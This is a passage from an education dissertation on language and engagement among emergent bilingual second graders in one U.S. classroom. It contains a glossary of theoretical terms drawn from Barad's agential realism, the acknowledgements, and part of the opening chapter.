Figure 5.11. Engagement as a circle of bodies. .............................................................. 207 Figure 6.1. Children’s unsolicited experimentation with video ........................................ 222 Figure 6.2. Differing perspectives of yut nori moment .................................................... 230 Figure 6.3. Different perspectives of video elicitation interview ..................................... 231 Figure 6.4. Diffracted video ............................................................................................ 232 Figure 6.5. Responses to 没有化, lalala from three different video elicitation interviews .... 240 Figure 6.6. Social connections made ............................................................................. 245 Figure 6.7. Rocks jutting out, or tensions, with apparatus of video. ............................. 248 Figure 7.1. Video sharing in Room 246 .......................................................................... 266 **Affective Connections** Working with Barad’s (2010) notion of forces as a “felt sense of difference” (p. 240), affective connections are sparks or gravitations produced through matter making itself felt as it iterates in a process of language making. These forces felt are ontological augmentations*, or marbled fusions linking human, non-human, and more-than-humans in very small to very large ways. To Barad, matter playing “[is] able to affect each other so as to produce something together (Barad, 2003, p. 821). Such forces that produce change are the less-recognized ‘tissue’ connecting players and partners in classrooms that go on to produce the capacities or possibilities of acting or engaging in classroom literacies differently. Such ‘tissue’ is what creates fused relations or interconnections between players and partners. For example, Affect(ive) connections, acting as bridges, is how I conceptualize human agents, such as myself and Xi Xi Lu and Madeline being inspired by, gravitating toward, or changed by the forces of different sounds, tones, pitches of Chinese/English, synthesizer music, visuals, memories---and also what forces we, with tablet and Google Translate neural network, produce together to enable new sounds, tones, visuals, making possible different ways of engaging. In such connections, it is more than children’s bodies affected. As human bodies are affected, they affect (Hultman and Taguchi, 2010). For example, as children’s bodies are changed, un-done and re-done by a felt sense of difference, this simultaneously un-does and re-does a blog post, and what is possible in science in Room 246. * I refer to Barad’s terms (quantum) entanglements in the same way as ontological augmentation. **Agential Realism** Agential Realism this is the umbrella term that Barad (2007) uses to describe her philosophical framework that does not position binaries between the following: epistemological-ontological-ethics, human-non-human, material-discursive, nature-culture, social-material. The concepts critical to this dissertation are intra-action, material-discursive (apparatus), spacietmattering, and a performative approach to language making operate with this theoretical premise. **Diffraction/Intra-action** Principles from physics by which components/resources, also called players and partners in the classroom, don’t have inherent properties, but rather ontologically change or are changed as they come into contact with not only each other but the methodological and theoretical apparatus of the research, and tensions/frictions produced in this process. **Emergent bi/multilingual young children** Children that are identified in K-5 school settings as learning the language of instruction in school and not proficient in that language. In the United States, these children are also referred to as “English (Language) Learners”. The term “emergent bi/multilingual” is inspired by Garcia’s (2009) asset-based term of “emergent bilingual”, which emphasizes children’s growing bilingual repertoire as opposed to focusing on their acquisition of English. In this project, the emphasis is also on the wide variety of sounds, ways of knowing, and ways of working with materials children knowing more than English bring to their English-dominant schooling experiences. Engagement is theorized as the variety of ways of conceptualizing taking part in and/or contributing in classroom literacies, not necessarily foregrounding a child actively working with peers, teacher, or curriculum. Engagement with intra-active language making orients to Springgay & Truman’s (2018) work on re-thinking participation beyond the logic of inclusion. When language making is intra-active, we’re always engaged, but in ways that might not be recognized. A state of dis-engaged is not possible. The focus of inquiry is therefore on recognizing different ways engagement can be produced through language making, and how different players and partners might recognize this engagement and taking part in differently. Language making Language making is an emergent doing or making of language by players and partners in Room 246, the unit of analysis in the study. Language making is a performance-oriented approach to analyzing language as it is emergently constructed through activities in the classroom, creating iterative, affective, material, semiotic, and often a-signifying connections between human and non-human players and partners. Language making encapsulates the multiple co-existing ways of conceptualizing language making recognized in the study—as verbal and written varieties that communicate such as “English”, “Chinese”, “Korean”—language making beyond verbal and written consisting of interactions and intra-actions between human and non-human bodies. In language making, language can perform outside normalized ways of language as verbal/written and communicating information. As intra-active, language making is iterative, continually being re-created. It re-incorporates, kneads, and enfolds different bits and pieces from former intra-actions into each emergent intra-action. Playing in and moving in language making are ways of characterizing the dynamic iterative nature of language making. Material-Discursive (Apparatus) Working with Barad’s (2007) lens of material-discursivity, language making is comprised of matter dynamic entangled, de-tangled, re-tangled into conglomerations where both material and discursive are implicated in each other. Therefore, language comprises the following: speech acts such as “没有化, lalala”, English and Mandarin Chinese spoken and written that signify as emphasized by the WIDA assessment rubric, sounds that don’t signify but provoke, and the material characteristics of players and partners in Room 246 such as video cameras, Google Translate neural network, and tablets. Yet with Barad’s concept of apparatus, just like a physical architecture in a science project that results in changed physical reactions of particles, the material-discursivity of language making can only materialize based on the methodological and theoretical apparatus of which the research project is comprised. The methodological and theoretical apparatus is critical because it is what allows the recognizing and noticing of language making. This matters because the methodological and theoretical apparatus is what comes to count as knowledge creation in the study. This knowledge creation through a material-discursive apparatus is an agential cut, the freeze framing of an emergently unfolding, iterating language making, and what can be recognized and noticed in storytelling and analysis. **Multilingual or culturally/linguistically diverse classrooms** Physical locations in school where more than one named language such as “Spanish”, “English”, “Korean” are regularly part of inter/intra-actions and where ways of doing and knowing are thought to be different. **Players and Partners** The dynamic participatory agents taking part in language practices in Room 246 that do “language making”, the unit of analysis. I also refer to these agents as **“languagers”**, diffracting K-12 bilingual educator García’s (2018) term through an intra-active lens. In Room 246, players and partners are human, non-human, and more-than humans that are **resources** for each other. This term is used because in the classroom participants are dynamic, playing and partnering with one another intra and inter-actively. From an intra-active perspective, players and partners aren’t entities or things. They are meshes, what Barad (2007) calls “phenomena”, that can be forces and characteristics of humans and non-humans in what we come to know as researcher, teacher, children, Google Translate neural network, video cameras, and tablets. When writing of players and partners as intra-active, I often link the visible players and partners with the symbol $\varphi$ to emphasize their entanglement. **Repertoire** Repertoires are theorized as emergent iterations of language making, comprised of combinations of resources and components, what I refer to as players and partners. In Room 246, repertoires of the classroom are more dynamic than have been theorized by variations of repertoire in socio and applied linguistics such as spatial and semiotic repertoires. By dynamic, this suggests repertoires are not patterned, sedimented, nor are all components/players and partners/resources able to be identified in analysis due to their marbled nature. Repertoires as iterations of language making have different collective capacities, as their agency is distributed. **Toggling** Language making is characterized by what I call toggling, the enfolding in different directions, of what might seem like a back and forth, and forth and back, that occurs in the play of children, words and sounds of Chinese/English, tablets, and Google Translate neural network amongst the other players and partners in the classroom. Examples of a toggling in language making are the dynamic moving between not understanding the meaning and not being understood, a child-teacher connection, and the compromise to be a writer of English. These states are not satisfactory individually, providing the impulse to re-iterate, continually searching and craving for something else. I suggest that while each iteration on its own might not feel productive, put together, this process of toggling provides a pathway to continued work with the tablet, with each other, and a continued language making in Room 246. Toggling is often characterized by tensions and frictions. **Translingualism** A translingual orientation, or translingualism, is a broad approach in applied/sociolinguistics encapsulating a variety of definitions, all of which conceptualize language as dynamic doings of meshed verbal/written languages and varieties with semiotic features to communicate (Canagarajah, 2013). The translingual practice lens I work with is comprised of resources as semiotic (van Leeuwen, 2005) and mobile (Blommaert, 2010). van Leeuwen’s conceptualization of resource adds to Blommaert a focus on more-than-verbal and written aspects of practices, whereas Blommaert’s empirical examples are more oriented to transnational settings, even though focused on verbal and written examples. The approach to translanguaging I work with is interactive, comprised of many different semiotic elements that communicate information in different ways given different situational contexts. **Transglocaltimematterings** Transglocalmatterings are the meshed local/global space, time and matter that characterize iterations of language making. I borrow the phrase “transglocal” from Scott and Dingo (2012) as a succinct linguistic meshing to characterize an interpenetrating local and global space, where local/global can’t necessarily be distinctly defined. Transglocalmatterings are therefore dis/located and dis/continuous. The visual appearance of the word ‘dis’ (slash) ‘continuities’ and ‘located’ captures the disjunctures or divergent juxtapositions of spacetimematterings, suggesting how one iteration of spacetime with matter (continuity/located) might be injected with a different spacetime with matter (‘dis’). Acknowledgements The poet Mary Oliver died while I was writing this dissertation. She wrote in her poem, “Sometimes”: Pay Attention. Be Astonished. Tell About it. I tried that over the last five years of research and writing this dissertation. Throughout that process, what was possible only came to fruition based on what and whom I could come into alliance with. I turn now to expressing my heartfelt gratitude to many integral players and partners: To Xi Xi Lu, Madeline, Patrick, Ruby, Sapphire, children of Room 246, and families: For inviting me into your lives, homes, sharing your stories, and letting me tell one version of them; To Oakville teacher Caitlin: For your pedagogical inspiration and for generously letting me be part of the interesting happenings of Room 246. Thank you for letting me share these stories with other educators; To Teachers, student teachers, and administrators at Oakville: For believing in the work I was doing at your school and sharing your stories. To Mari Haneda and Chris Schulte as Dissertation Co-Chairs: For your wonderful generosity of time, resources, and dedication in the process of dissertation writing and revising; To Mari Haneda: For giving me a chance to take part in this wonderful process of exploration and learning, for advocating for me in numerous ways, your patience, openness, and prompt and detailed feedback; To Chris Schulte: For your caring guidance, inspiration, and leading the way to engage with a theoretical direction of interest that would have been impossible without your encouragement; To Suresh Canagarajah: For the chance to engage with your work across multiple academic areas that influenced my thinking even before the dissertation. For your support and kindness from the early days of the IECP to Migration Studies; To Kim Powell: For your early influences in ethnography and qualitative research. So much of the methodological approach in this dissertation originated from your classes and reading suggestions; To Gail Boldt: For your beautiful writing that changed how I understand language and literacy. For the D&G reading group; To Charles Garoian, Anne Whitney, and Allison Henward: I am also grateful to you as very influential faculty members who shaped my doctoral program and this dissertation considerably; To Ana Carolina Diaz Beltran, Hayon Park, Michelle Wooten, and Müge Baytas: For being wonderful writing partners, collaborators, and friends. To Aniruddha Bose: For everything big and small—words can’t even begin to express the love and support you give me every single day and my gratitude; To Neel James Bose: For being the ultimate inspiration and my love. For your entire five years of life to be shaped by this research and writing, and for wanting me to tell these stories of your childhood; To James/Patricia Nebus and Indra/Indrani Bose: Thank you for believing in me and your incredible support in so many ways –emotional, physical, logistical, academic, and more. Most people are not so lucky; To the Owens, Looneys, Everharts, Walshes, Nebus Shiftouris, Henzes, Kunzs, Dutta Daggumallis, Duttas, Huis, and Gooptus: Thank you greatly for your warm and extensive network of support. The stories told in the following chapters are oriented toward the surprise of how researching in Room 246, a linguistically and culturally diverse second grade elementary classroom with emergent bi/multilingual children, radically changed my idea of engagement. The stories tell how in working with one another in the classroom, unexpected things happened. Literacy scholars Burnett and Merchant (2017) note that iPads have the “potential not just to morph into something else but to radically shift as they come into relation with other things”. Noting the transformative qualities of mobile technologies in Room 246 such as tablet computers, Google Translate, video cameras, and other objects, I came to notice something about linguistically diverse classrooms that I hadn’t noticed before. That is, working with mobile technologies and objects becoming something else in each moment emphasized that engagement is more multiple than we often realize, and so too is language more multiple. This noticing of mobile technologies, objects, and language becoming something different in each moment emphasized that emergent bi/multilingual children can have many additional ways of acting and becoming engaged in classrooms. This is to say that engagement is created by both whom and what we work with in classrooms, and the capacities of these alliances to change what can happen. This realization is critical for emergent bi/multilingual children who have been represented in scholarship as having fewer opportunities to engage. For Xi Xi Lu and Madeline, newcomer emergent bilingual children in their first year of school in America, this suggests their engagement is enhanced through such alliances, many of which we are not habituated to recognize. This dissertation argues engagement cannot be reduced to precise combinations of resources that produce a particular result in classrooms. Rather, it argues attention be turned to recognizing the multiplicity of what engagement can be from moment-to-moment, and particularly how this multiplicity manifests across the contrasts of transnational schooling with the rationale of recognizing more connections in culturally and linguistically diverse classrooms. This inquiry explores recognizing opportunities to engage, the wide variety of ways of participating, that materialized in Room 246. The focus of this study is how language in Room 246 relates to recognizing opportunities to engage. The following chapters present an in-depth analysis of three moments that Xi Xi Lu and Madeline, two emergent bilingual girls in their first year in a U.S. school, consistently suggested were the most important to their second-grade school year (see Figure 1.1). The analysis of recognizing opportunities to engage in these moments are situated within longitudinal classroom ethnographic research (Bloome, 2012; Gullion, 2018). By the term “language making”, I conceptualize language in the classroom as an emergent doing or making of language by the many participants in room 246. Language making is a performative approach (Barad, 2007) to language creation as it is emergently constructed through activities in the classroom, creating iterative, affective, material, semiotic, and often a-signifying connections between human and non-human participants. All participants in the classroom are collectively referred to as players and partners to emphasize that rather than individually participating in a classroom, they are collective, playing and partnering together in language. Language making is a stitching together of the different ways language is conceptualized in Room 246. With language making, language is often performed outside normalized ways of conceptualizing language, such as verbal/written modalities that communicate information and represent meaning. Language making therefore does not necessarily foreground a sign that signifies, even if that sign is not fixed as signifying a particular meaning, but rather negotiated differently across spatiotemporal circumstances such as with indexicality (Blommaert, 2010). It likewise takes a slightly different orientation than that of ‘languaging’, because in this work, language is conceptualized as more than communication. That is, the term communication as it is drawn on in the empirical studies of socio and applied linguistics that I cite, thus referring to a sign that has been recognized as open to multiple meanings yet that also symbolizes and signifies. **Research Questions** Given this focus, this inquiry is guided by the following research questions: - How is language making done among players and partners in Room 246? • How is language making recognized from the perspectives of emergent bi/multilingual children, their peers, teachers, and parents? • How does language making make possible recognizing opportunities to engage in Room 246? In this chapter, I provide an introduction to the research study, the purpose for inquiry, and what is to be gained through the study, broadly speaking. I show how philosopher physicist Karen Barad’s (2003/2007) concept of diffraction and applied linguist Suresh Canagarajah’s (2013) orientation of translingualism inspire additional ways to recognize engagement in Room 246. I further illustrate that diffraction as an approach to classroom ethnography enables a wider way of recognizing engagement in classrooms than is most commonly noticed in classrooms with emergent bi/multilingual children. The chapter is organized as follows: I. Purpose and Focus of Inquiry Situated across Interdisciplinary Research II. Research Site/Participants: Engaging Across Linguistic Difference III. A Diffractive Approach to Ethnographic Classroom Research IV. Research Process: a. Rationale for a Diffractive Approach b. How a Diffractive Approach Shaped Methods V. Data Analysis VI. Potential Limitations and Complications of a Diffractive Approach VII. Significance of the Study and Outline of Proceeding Chapters I. Purpose of Inquiry Situated across Interdisciplinary Research Why Study Language and Engagement in Classrooms with Emergent Bi/Multilingual Children? Recognizing opportunities to engage in classroom literacies where children and teachers often have different linguistic experiences and ways of accessing resources in a classroom is an important undertaking. This is even more timely given changing U.S. demographic and immigration patterns resulting in both rapid and steadily growing linguistically and culturally diverse populations in the United States over the last two decades. More bi/multilingual children are comprising the K-12 schooling population, often attending suburban and rural schools in communities that have previously had fewer (emergent) bi/multilinguals (OELA, 2015; Frey, 2011). As such, teachers may not have available training to work with the specialized needs of these student populations. This demographic reality is coupled with young children’s growing transnational experiences, where children often move fluidly across boundaries of nation-states and networks (Ghiso, 2016; Suárez-Orozco, 2005), carrying with them memories and ways of doing and expressing across diverse experiences and schooling systems. Given the dual focus on constructs of language and engagement in this study, I begin by turning to how these constructs matter to schools and classrooms with emergent bi/multilingual children. **How Engagement Matters** **Opportunities to Engage for Emergent Bi/Multilinguals Represented in Scholarship.** Despite the growing demographic reality in the United States, where there are more bilinguals in K-12 schools than ever before, studies of classrooms with young (emergent) bi/multilingual children that address opportunities to engage in elementary school literacies indicate that in English-medium schools with monoglossic language ideologies, children have fewer opportunities to participate and contribute than their peers as a result of both their linguistic resources being less valued in the instructional content and the limited means by which their other ways of expressing can be drawn on (Brown, 2009; Compton-Lilly et al., 2016; Dagenais et al., 2006; da Silva Iddings, 2005; Devine, 2009; Katz & da Silva Iddings, 2009; Maguire & Curdt-Christiansen, 2007; Sun, 2016; Toohey, 1998; Walters, 2011; Willett, 1995; Yoon, 2008). That is, in institutions valuing and expecting a single verbal and written language for communication (Flores & Schissel, 2014), young (emergent) bi/multilingual students have fewer opportunities to participate. In order to challenge monoglossic language ideologies, one predominant approach to advocating for more equitable schools and classrooms for language minorities is asset-based pedagogical lenses (González, Moll, Amanti, 2005; García & Wei, 2014; Paris & Alim, 2014/2017). This scholarship takes as a starting point the idea that children and youth of color and/or linguistic minorities have unique verbal/written and cultural repertoires, and that the languages and cultures children bring from home into school must be identified, drawn on, and strategically implemented in classrooms to promote engagement (Garcia & Kleifgen, 2018; García & Wei, 2014). As such, most of this work suggests that since language is one of the factors that minoritizes emergent bi/multilinguals in schools, in order to advocate for emergent bi/multilinguals, language needs to be conceptualized more broadly than academic English. This broad area of research advocates for creating curricular and pedagogical opportunities for children to express themselves in home languages and varieties, multimodally, and by drawing on their cultural funds of knowledge. The multimodal focus of asset-based pedagogical lenses aligns with scholarship in early childhood literacies, which has long-documented that children’s ways of expressing are often characterized by fluidly weaving together movement, drawing, symbols, text, dance, drama, and objects to make meaning rather than relying on written or verbal text alone (e.g., Dyson, 1990/1993; Edwards et al., 2012; Gallas, 1994; Kress, 1997; Wohlwend, 2009). Yet despite this recognition within early childhood literacies, in the field of teaching K-5 bi/multilinguals, the evidence scholars most readily draw on to consider opportunities to participate are largely based on the following: verbal and linguistic evidence such as linguistic content and grammar of classroom talk, academic appropriateness of form, children’s proficiencies in different languages, and which languages children use when and for what social and academic purposes. Exceptions to this include scholarship that also attends to the physical positioning of the child’s body in the classroom in relation to peers and teacher, and children moving their bodies by gesturing as evidence of participation and contribution (Bauer et al., 2016; Chapman de Sousa, 2017; Katz & da Silva Iddings, 2009; Pinnow & Chval, 2015; Toohey 1998/2000). Other studies consider the role of material objects as a way to participate such that objects are currency that children use to barter their way into particular social networks and negotiate oneself academically and socially (Brown, 2009; Dagenis et al., 2006; Pinnow & Chval, 2015; Toohey, 1998). In addition to the prevalence of language as verbal/written producing evidence of opportunities to engage, be included, and participate in elementary classrooms, research in the field of teaching K-5 bi/multilinguals also tilts considerably to a human-oriented understanding of participating in language practices. Art and literacy educators Springgay and Truman (2018) note Participation is typically framed as democratic interaction where individuals come together by choice, and as a convivial mode of collectivity. Participation is valued as emancipatory, liberatory, and transformative. (p. 66) Similarly, this human-oriented perspective of participation pervades the research on teaching K-5 emergent bi/multilinguals, where scholarship has noted emancipatory potentials can occur in classrooms when children negotiate social identities through making linguistic choices. This suggests attending to emergent bi/multilingual children’s social identities have made it possible to analyze the ability to engage as being (or not being) a “participant” (Toohey, “contributor” (Chapman De Sousa, 2017) in the classroom, or a “competent” student (Willett, 1995). Thus, participation in classroom literacies with emergent bi/multilingual children are most commonly conceptualized as what *children* can do, with whom, under what conditions and with what consequences (Castanheira et al., 2007, p. 175). Yet what happened in Room 246 in relation to engagement was surprising and challenged the dominant storyline informed by asset-based pedagogies. These happenings caused me to re-conceptualize my initial understanding of engagement. As I began to pay close attention to what was happening in Room 246 and what children began telling me, something very different became apparent. First, the three moments Xi Xi Lu and Madeline noted were most significant to their second grade school year were different than those I thought they would note as the most important. Moments deemed by Xi Xi Lu and Madeline as most significant were more complex, contested, and storied differently over time than other moments we recorded of their second grade year. Moreover, Xi Xi Lu and Madeline’s perspectives of how they could participate in the classroom were often different than those of myself, peers, and teacher. In one such moment I perceived as looking like participation, Madeline was sitting in the front of the class working with tablet, raising her hand, volunteering metaphors in English to answer the teacher’s questions correctly, and smiling at peers while peers encouraged (see Figure 1.2, top left). My initial assumption of participation had to do with Madeline seemingly able to act different in this moment. For example, Madeline rarely sat in the front of the class, nor volunteered answers, nor received significant attention from English-dominant peers. Yet Madeline disagreed with my analysis that she was participating, suggesting that rather than feeling good about how she could participate in the moment, she was embarrassed because she had to use the tablet to participate in the read aloud while her classmates did not. In another moment, I perceived what looked to me like Xi Xi Lu hunched over the tablet, perhaps hiding her face and voice, as another example of understanding oneself as incompetent with the tablet, such as Madeline had expressed. Yet Xi Xi Lu disagreed with my initial analysis (see Figure 1.2, top right). She felt good in this moment, she said. Yet another moment that challenged my conceptualization happened during a group math activity (see Figure 1.2, bottom center). Xi Xi Lu’s assigned partner had seemingly taken over the pencil and worksheet such that Xi Xi Lu was not working on the activity, was slumped in a chair, looking at the ground. Through a human-oriented understanding of language practices, I was habituated to viewing Xi Xi Lu’s way of acting as passive. *Figure 1.2.* Card sort interviews—Xi Xi Lu and Madeline disagreed with my initial interactive analysis. Xi Xi Lu was not interacting with her partner in a way I thought was “active” during group work such as talking, moving her body, facing toward them, and looking in the direction of peers. I initially thought Xi Xi Lu’s partner (illustrated on the left of the bottom photo of figure 1.2) was marginalizing Xi Xi Lu’s potential role in the activity, perhaps, I reasoned, because Xi Xi Lu’s ways of knowing did not enable her to participate in an activity that included knowledge of English words, how to glean information from grocery store sales circulars, and how to go about grocery shopping in the U.S., all necessary for the activity. Yet Xi Xi Lu disagreed with my initial analysis. To her, this math activity where she was slumped in a chair *was* an engaging moment where she *was* participating. To Xi Xi Lu, she was engaged because she was partnered with an American peer of high social status in contrast to working with her usual partner Madeline, who often asked her lots of questions. Xi Xi Lu also understood herself to be engaged because this was math class, a subject she felt good in and more competitive than the majority of her peers, despite the fact that this activity was not focused on computational math and might not even be identified as ‘math’ to the casual observer of the classroom. She could relax in the space of math, she reasoned. Besides, Xi Xi Lu noted, dramatically sprawling on the large lawn chair in a reenactment, she could “relax”, on this oversized lounge chair. The “chair was comfortable” she said. This lounge chair, brought by the teacher from home, was one of a few chairs in the room which were not of a uniform industrial school model. This relaxing math moment along with the other moments above are several examples that suggested the need to expand how I was theorizing engagement in the classroom. **Reconceptualizing Engagement.** What if engagement is not only orchestrated by children and teachers as agents? What if it were also the dynamic agentic connections formed between multiple agents, both children and non-human players and partners in the classroom that produce engagement? By considering additional conceptualizations of engagement, what follows is that many more opportunities to engage can be recognized in classrooms with emergent bi/multilingual children that we are not habituated to noticing. To expand conceptualizations of engagement in classrooms with emergent bi/multilinguals, Springgay and Truman’s (2018) notion of re-thinking participating beyond the logic of inclusion is particularly insightful to my project of conceptualizing engagement in classrooms with emergent bi/multilinguals. Citing Manning (2016), they call for how to differently conceptualize the complex experience of participation. Two of Springgay and Truman’s critiques of what they term “participation as inclusion” are particularly helpful to conceptualizing engagement in Room 246. By this term they are characterizing normalized ways of perceiving participation as people included in an activity such that they can actively interact through having choices, being recognized, and being democratically represented. The first critique is that Springgay and Truman question whether participation can always be visualized. They question how it is possible to know “what participation is, what it looks like, how it operates, and what it does. The belief that researchers and observers can recognize and represent participation is problematic” (p. 74). Likewise, Xi Xi Lu and Madeline had different ways of conceptualizing engagement in the classroom moments noted above that were initially invisible to me as researcher. The second is Springgay and Truman’s critique that participation aligning to a rhetoric of inclusion creates a binary between active participation and passive viewing. Thus, by categorizing Xi Xi Lu as “passive” and not participating because she was slumped in a chair, her body not actively taking part in close proximity to peers in ways I was expecting, I was overlooking other ways of being active. The concept of intra-action (Barad, 2007) further suggests that engagement is the dynamic agentic connections between multiple agents, human and non-human classroom participants. Through an intra-active analysis, to be elaborated in the coming pages, players and partners are always engaged, always participating, moving and buzzing with a variety non-human and more-than human partners, often in addition to humans. By participating not foregrounding a child, teacher, or researcher actively included, dis-engagement or non-participation is not possible. Therefore, Xi Xi Lu, her high social-status-GoPro-wearing classmate, oversize chair, not being with Madeline, and working in the space of math is a taking-part-in differently. Such a variety of engagement is different than engagement as expected. Following the lead of Springgay and Truman (2018), engagement in this dissertation does not seek to rule out children, teachers, and researchers participating with each other, but rather to conceptualize how *additional* players and partners in alliance can be ‘active’ in language making, and how these relations are continually iterating and different. **How Does ‘Language’ Matter** How is language engaging? This surprise of multiple ways of conceptualizing engagement led to noticing the language of Room 246 differently. Particularly, I came to realize that while language is about communicating, where signs are symbolizing and signifying such that they are recognizable and representative, it’s also about so much more. Language is also about other things that are engaging: affective connections, forces felt between players and partners in a classroom, and what language does in a classroom. An inquiry focused on the making of the construct of “language” might seem surprising since this study asks that we not only include, but move much of our focus of analysis beyond the verbal and written, as well as that which does not necessarily represent. It might be assumed because of this focus of inquiry, the term “language” would be minimized. In fact, there is a movement toward a de-emphasis of this term across much of the interdisciplinary scholarship I work with, with some scholars, for example, emphasizing factors that I propose could be part of language as those that operate “outside or alongside language” (de Freitas & Curinga, 2015, p. 249). While de-emphasizing what is referred to as “language” might be expected in the work of feminist new materialisms, an area of scholarship I elaborate on later in the chapter, a reluctance to work with the term “language” also exists in the area of socio and applied linguistics from which I draw inspiration (Blommaert, 2010; Canagarajah, 2018a; Pennycook; 2017). Such reluctance from linguists perhaps stems from the term “language” historically being linked to structural linguistics which to these scholars would be limiting to communicative possibilities. Barad (2003) too would likely find working with agential realist concepts to make sense of what I am calling “language” making in Room 246 to be surprising given her emphasis on material as matter rather than what she notes is the hegemonic lens of language. “Language has been granted too much power. The linguistic turn, the semiotic turn, the interpretative turn, the cultural turn: it seems that at every turn lately every “thing”—even materiality—is turned into a matter of language or some other form of cultural representation” (Barad, p. 801). Yet despite this push for recognition of phenomena in analysis wider than words that represent, how “language” has historically and narrowly been conceptualized, the term “language” is critical to this dissertation. Key to the orientation I take in this study is that the term “language” is in fact a powerful area of focus in advocating for emergent bi/multilinguals in K-12 schooling contexts because it is ‘language’, as we are historically habituated to viewing it, that often minoritizes emergent bi/multilingualism in classrooms, rendering children in ways that categorically view them as less-engaged or as passive in classrooms rather than active. Through the categorization of “English Learners”, children such as Xi Xi Lu and Madeline are labelled and noticed because of their *language difference* compared to peers, teachers, and the dominant linguistic school culture. Therefore, in this project, I suggest language educators be sympathetic to Barad’s statement calling for a broader attentiveness to “matter”. Barad argues everything/one is non-hierarchically “matter”, which is overlooked, and dynamic rather than passive, bearing significantly on what transpires in the world. She goes on to suggest that matter’s dynamism has been overshadowed by what is thought to mean more, or count more, to make sense of the world—i.e., “language”. Yet I differ from Barad’s perspective in that what I consider language making is a mattering of language. Therefore, language *is* matter. Barad’s argument is based on the historical signification of the word ‘language’, which is ironic considering her adherence to the “performative”, which seeks to “challenge the representational belief in the power of words to represent preexisting things” (2003, p. 802). In this dissertation I take up many of Barad’s concepts under the umbrella of her agential realist orientation (to be expanded on in chapters one and two), yet as a *differently productive* way to consider language. That is, language making is concerned with, “language *as it might perform outside representation*, or outside the signification or indexicality that has historically been ascribed to it.” In this work, ‘language’ is a ‘mattering’ for the purpose of recognizing greater opportunities for emergent bi/multilingual children. Thus, ‘language’ needs to be conceptualized more broadly and as more multiple. This approach asks that we work with the term ‘language’, not only as it is historically recognized as words that signify or index meaning that symbolizes and can be recognized, but that we also break open normalized ways of seeing, hearing, and feeling language in classrooms. The term “language” therefore operates in this dissertation as a material, a force, that hold the arguments of the dissertation productively in tension. Such an approach to ‘language’ as not necessarily verbal and written in focus, not necessarily signifying, and often a-grammatical, already exists outside the field of linguistics and teaching emergent bi/multilinguals in K-12 schools. For example, drawing on the language philosophy of Deleuze and Guattari (2004/2007), early childhood and qualitative research scholar MacLure (2013/2016) proposes a conceptualization of language that is sympathetic with the approach taken in this study. MacLure asks that we attend to what she calls the “materiality of language itself (p. 658)”, which she defines as potentially “non-representational, non-interpretive (MacLure, 2013, p. 663). In her work this includes the characteristics of sound, rhyming patterns, tones, pitches. Thus, MacLure’s work, just as this dissertation, asks that we focus our inquiry around the term ‘language’, but call on it to become something else. de Freitas and Curinga (2015) likewise urge us to consider the materiality of language in classrooms as movements of bodies, as affective, which constitutes language as material expression rather than discursive communication. They urge us to consider language as they evocatively write, the “tissue of classroom interaction” (p. 250) and “material entanglement of sign and body” (p. 255). **The Many Ways of Conceptualizing Language in Room 246** Critical to how I conceptualize language making in this study is the recognition that in Room 246, there were multiple ways that language was conceptualized in the classroom. The children, teacher, and I had different ways of making sense of language, which were often contradictory and changed over time. While I write of children, teacher, and researcher’s ways of making sense of language in Room 246 as different approaches, it was often more complicated than each of us having separate and consistent conceptualizations of language. For example, we often orally stated we understood language one way, but our actions suggested language was something else. The more time spent in Room 246 emphasized the need to take part in seeing, hearing, and *feeling* language differently. By not bringing together multiple ways of conceptualizing language, we risked not noticing connections and relations that might make additional ways of connecting in an intercultural classroom visible. In the following section, I suggest how language was conceptualized differently by the many players and partners in Room 246. **Children: English, Chinese, Korean, and ‘Bonjour’**. The classroom soundscape in Room 236 could be characterized by the dominant repeating rhythm of children and adult voices sounding Northeast American English talk mixed with rhythms of Mandarin chatter and discretely whispered Korean. The sound of Cockney-like accented English occasionally sounded from a second-grade boy wearing cowboy boots, who convinced his peers he spoke a unique language that he coined called “Bonjour”. When I began this research project, having been a second language educator for just over fifteen years, I thought of language as a wonderful play with meshes of words, phonemes, and morphemes that could be cleverly combined to signify or make different meanings and ways of making sense of the world. Just as children, I initially made sense of language as “Chinese” and “English”, as it was labeled on spine of the bilingual books checked out from the local library by the classroom teacher. Second graders too consistently reported making sense of language in their classroom as English and Chinese. Such named languages was how Xi Xi Lu and Madeline referred of the Chinese characters they wrote on the lined pages of their writer’s workshop notebook. This was also how Madeline described what she wrote in the diary she brought into the classroom, where she perfected the characters that she spent hours at home learning, making strokes in a very particular order on the square Hanzi grids her parents kept on a clipboard in her kitchen (*field notes home visit, 2/1/17*). Children noting language as largely verbal was evident when they were asked to draw pictures of language in their classroom and discuss their pictures as a whole-class. For example, children largely drew people with speech bubbles coming out of their mouths in conversation. Furthermore, when Xi Xi Lu and Madeline’s classmates viewed videos of the science investigation and other video from classroom activities throughout the school year and were asked “what was happening”, what children reported noticing were the sounds and text/logographs of English, Korean, and Chinese. “That’s Chinese! That’s Chinese! That’s Chinese”, they shouted, seemingly excited upon seeing the logograms Madeline and tablet created together on a blog post (*5/3/17 focus group interview*). When I asked children to record what was important to them in the classroom, they often recorded hour-long videos of the text on their paper, often forgetting they were recording and moving on to pursue activity elsewhere. In another example, during a bilingual read aloud (noted in Blair et al., 2018), children steered the topic of the literacy discussion to the meaning of the Chinese and English words on the page rather than the teacher’s intention of having children attend to the sound effects of the audio book and how this was part of the story’s meaning. Rare exceptions where language was seen by children as beyond named verbal and written communication included when child Ruby drew a picture explaining how to her, the language of school included gestures, smiles, art, and math (*4.21.17 interview*). In another instance, when I asked a leading question, Ruby claimed she used her body as a language, and rationalized that body movement was language because it made her friend laugh (*3/30/17*). The categories of English and Chinese and their meanings separated children within Room 246. For example, while Xi Xi Lu and Madeline worked frequently with their classmates during teacher-assigned heterogeneous group work, if not assigned to work with peers, Xi Xi Lu and Madeline often worked with each other or with one of the many adults in the classroom. During the dozens upon dozens of times I ate lunch with children in Room 246 and went out to recess with them, Madeline and Xi Xi Lu ate and played with each other apart from their classmates, sounds of Mandarin emanating from their togetherness. Adding to this separateness, Ruby and Sapphire, who were learning Chinese, both noted on different occasions that they were reluctant to try to speak Chinese with Xi Xi Lu and Madeline because they didn’t know much. Another peer said she knew songs in Mandarin but was reluctant to sing them because she wasn’t sure how to make the sounds. Xi Xi Lu and Madeline too noted on numerous occasions they didn’t feel confident with English, yet this seemed to bother Madeline more than Xi Xi Lu. In the English as a Second Language (ESL) classroom, children referred to each other by the number of months they had been in the U.S., when they were returning to China, and how much English they knew. To Xi Xi Lu and Madeline, their incapacities with English, but capacities with Chinese made them different from their peers. To Xi Xi Lu and Madeline’s classmates, they were interested in how bits of Chinese and English comprising their individual repertoires didn’t cancel each other out and could 